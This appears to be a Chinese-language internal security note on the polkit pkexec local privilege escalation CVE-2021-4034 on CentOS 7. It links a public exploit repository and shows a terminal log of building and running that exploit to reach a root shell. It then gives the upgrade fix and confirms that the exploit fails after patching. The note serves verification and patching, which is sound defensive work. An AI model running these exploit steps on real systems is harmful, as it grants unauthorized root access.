安全公告参考:
https://nosec.org/home/detail/4959.html
漏洞影响:
成功利用此漏洞允许任何非特权用户在易受攻击的主机上获得root特权。Qualys安全研究人员已经能够独立验证漏洞,开发漏洞利用,并在默认安装的Ubuntu、Debian、Fedora和CentOS上获得完整的root权限。其他Linux发行版可能容易受到攻击并且可能被利用。这个漏洞已经隐藏了12年多,并影响到目前为止所有版本的pkexec。(≤0.120)
验证:
1)测试版本
CentOS Linux release 7.7.1908 (Core)
polkit-0.112-22.el7.x86_64
2)测试步骤
具体详见https://github.com/berdav/CVE-2021-4034
[nuo@localhost ~]$ pkexec --version
pkexec version 0.112
[nuo@localhost ~]$ ll
total 4
drwxrwxr-x 2 nuo nuo 78 Jan 27 19:53 CVE-2021-4034-main
-rw-rw-r-- 1 nuo nuo 2199 Jan 28 10:52 CVE-2021-4034-main.zip
[nuo@localhost ~]$ cd CVE-2021-4034-main
[nuo@localhost CVE-2021-4034-main]$ ll
total 16
-rw-rw-r-- 1 nuo nuo 274 Jan 27 19:53 cve-2021-4034.c
-rw-rw-r-- 1 nuo nuo 400 Jan 27 19:53 Makefile
-rw-rw-r-- 1 nuo nuo 339 Jan 27 19:53 pwnkit.c
-rw-rw-r-- 1 nuo nuo 1474 Jan 27 19:53 README.md
[nuo@localhost CVE-2021-4034-main]$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
[nuo@localhost CVE-2021-4034-main]$ ./cve-2021-4034
sh-4.2# whoami
root
sh-4.2# id
uid=0(root) gid=0(root) groups=0(root),1000(nuo)
修复建议:
将polkit升级至最新版本polkit-0.112-26.el7_9.1.x86_64即可
以下两种方式均可:
# yum install polkit
# rpm -Uvh polkit-0.112-26.el7_9.1.x86_64.rpm
升级影响:
目前已知会重置/etc/sysctl.conf中的配置,升级后需要检查确认
# sysctl -a
修复后验证:
[nuo@localhost CVE-2021-4034-main]$ rpm -qa |grep polkit
polkit-0.112-26.el7_9.1.x86_64
polkit-pkla-compat-0.1-4.el7.x86_64
[nuo@localhost CVE-2021-4034-main]$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
Report bugs to: http://lists.freedesktop.org/mailman/listinfo/polkit-devel
polkit home page: <http://www.freedesktop.org/wiki/Software/polkit>